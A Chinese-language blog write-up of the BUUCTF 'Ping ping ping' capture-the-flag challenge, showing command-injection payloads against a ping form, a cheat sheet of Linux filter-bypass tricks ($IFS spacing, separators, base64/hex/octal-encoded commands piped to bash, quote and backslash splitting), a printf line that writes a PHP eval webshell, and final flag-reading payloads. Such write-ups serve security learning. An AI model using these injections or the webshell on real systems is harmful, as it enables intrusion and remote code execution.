美文网首页
BUUCTF Ping ping ping WP

BUUCTF Ping ping ping WP

作者: Leena_c9a7 | 来源:发表于2020-01-28 23:59 被阅读0次

    0x00 Ping ping ping

    看名字感觉是一道命令执行,因为DVWA里边命令执行的例子就是Ping
    果然,给出的页面也是话不多说,就是个ping无疑了


    网页界面.png

    那么我们就以get的方式看看能给出怎样的响应呗

    payload:?ip=127.0.0.1||ls


    图片.png

    开心的直接cat flag.php 却发现事情并没有那么简单


    图片.png
    看来题目过滤了空格

    0x02 linux常见绕过姿势

    空格过滤

    < 、<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS

    命令分隔符

    linux中:%0a(换行) 、%0d(回车) 、; 、& 、| 、&&、||

    windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符,SUB 在文本文件中表示文件结果)

    花括号

    {cat,flag} 逗号代替空格

    黑名单绕过

    拼接绕过:$a=l;$b=s;$a$b

    编码绕过
    base64:

    echo MTIzCg==|base64 -d 其将会打印123
    echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
    

    hex:

    echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
    

    oct:

    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    

    单引号和双引号绕过
    比如:ca' 't flagca" "t flag
    反斜杠绕过
    比如:ca\t fl\ag

    长度限制

    长度限制可以用文件构造的方式来绕过。

    linux下可以用 1>a创建文件名为a的空文件
    ls -t>test则会将目录按时间排序后写进test文件中
    sh命令可以从一个文件中读取命令来执行
    

    内联执行

    命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。类似的还有$(command).

    cat$IFS`ls`

    cat$IFS$(ls)

    0x03 解法

    上面说了那么多方法,这里选一个就行,很多方法都可以实现的。
    拼接:
    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
    编码
    /?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    内联
    /?ip=127.0.0.1;cat$IFS$9`ls`

    linux绕过更多详情:https://blog.csdn.net/silence1_/article/details/96135760

    相关文章

      网友评论

          本文标题:BUUCTF Ping ping ping WP

          本文链接:https://www.haomeiwen.com/subject/clwmthtx.html